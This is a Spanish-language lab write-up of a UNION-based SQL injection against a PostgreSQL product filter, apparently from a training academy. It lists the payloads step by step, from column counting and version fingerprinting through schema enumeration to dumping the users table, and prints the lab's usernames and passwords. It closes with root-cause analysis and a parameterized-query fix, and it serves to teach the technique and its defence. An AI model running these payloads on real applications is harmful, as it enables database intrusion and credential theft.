UNION-based SQLi: extracción de usuarios y credenciales desde information_schema en PostgreSQL
Drenaje completo de la tabla users en PostgreSQL con UNION-based SQLi: pg_database, information_schema.tables y columns, y volcado de username/password.
1. Target Overview & Vulnerability Summary
El filtro de categoría refleja los resultados de la consulta. Combinando las técnicas previas (aridad, columna string, fingerprint), se ejecuta la cadena completa de enumeración en PostgreSQL: bases de datos, tablas, columnas y credenciales de la tabla users.
| Severidad | Endpoint vulnerable | Root cause |
|---|---|---|
| Critical | GET /filter?category=... |
Concatenación de category en la cláusula WHERE; resultados reflejados en la respuesta (UNION) |
2. Technical Breakdown & Exploitation Flow
2.1 Aridad y columna string
La query devuelve 2 columnas, ambas compatibles con string:
' UNION SELECT NULL,NULL-- -
' UNION SELECT 'SQL Injection 1','SQL Injection 2'-- -
Fingerprint del motor:
' UNION SELECT NULL,version()-- -
PostgreSQL 12.22 (Ubuntu 12.22-0ubuntu0.20.04.4) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit
2.2 Enumeración de bases de datos
pg_database cataloga las bases del cluster:
' UNION SELECT NULL,datname FROM pg_database-- -
template1
academy_labs
postgres
template0
Base activa de la aplicación:
' UNION SELECT NULL, CURRENT_DATABASE()-- -
academy_labs
2.3 Enumeración de tablas
information_schema.tables lista las tablas del schema actual:
' UNION SELECT NULL,table_name FROM information_schema.tables-- -
La tabla users aparece en el volcado.
2.4 Enumeración de columnas de users
' UNION SELECT NULL,column_name FROM information_schema.columns WHERE table_name='users'-- -
email
password
username
2.5 Volcado de credenciales
Ambas columnas de la query original son strings, así que username y password se proyectan directamente:
' UNION SELECT username,password FROM users-- -
wiener gkpo2esaf8pyr61pcl54
administrator kps4m6l7skp82xu0cf0f
carlos hrldi4r7xf9wjjdwcyfv
Login como administrator para resolver el lab.
3. Root Cause Analysis
La query se construye por interpolación:
SELECT column1, column2 FROM products WHERE category = 'Gifts'
La cadena UNION-based abusa de tres permisos del rol de la aplicación que deberían estar aislados:
- Lectura de
pg_database→ revela el layout del cluster. - Lectura de
information_schema→ expone el inventario completo de objetos y columnas. SELECTdirecto sobreusers→ las credenciales del lab residen en la misma base que el catálogo público.
El -- - comenta el cierre del literal; la proyección directa de dos columnas strings en la query original evita cualquier concatenación. Esta cadena es la plantilla canónica de escalada UNION-based en PostgreSQL.
4. Secure Remediation
Parametrización de la query:
String sql = "SELECT column1, column2 FROM products WHERE category = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, category);
Defensa en profundidad:
- Rol de BD mínimo:
SELECTsolo sobre el schema de productos, sin acceso apg_database,information_schemani a la tablausers. - Separar el catálogo de credenciales en un schema/instancia distinto del público.
- No reflejar columnas crudas en listados; validar y renderizar explícitamente el tipo esperado.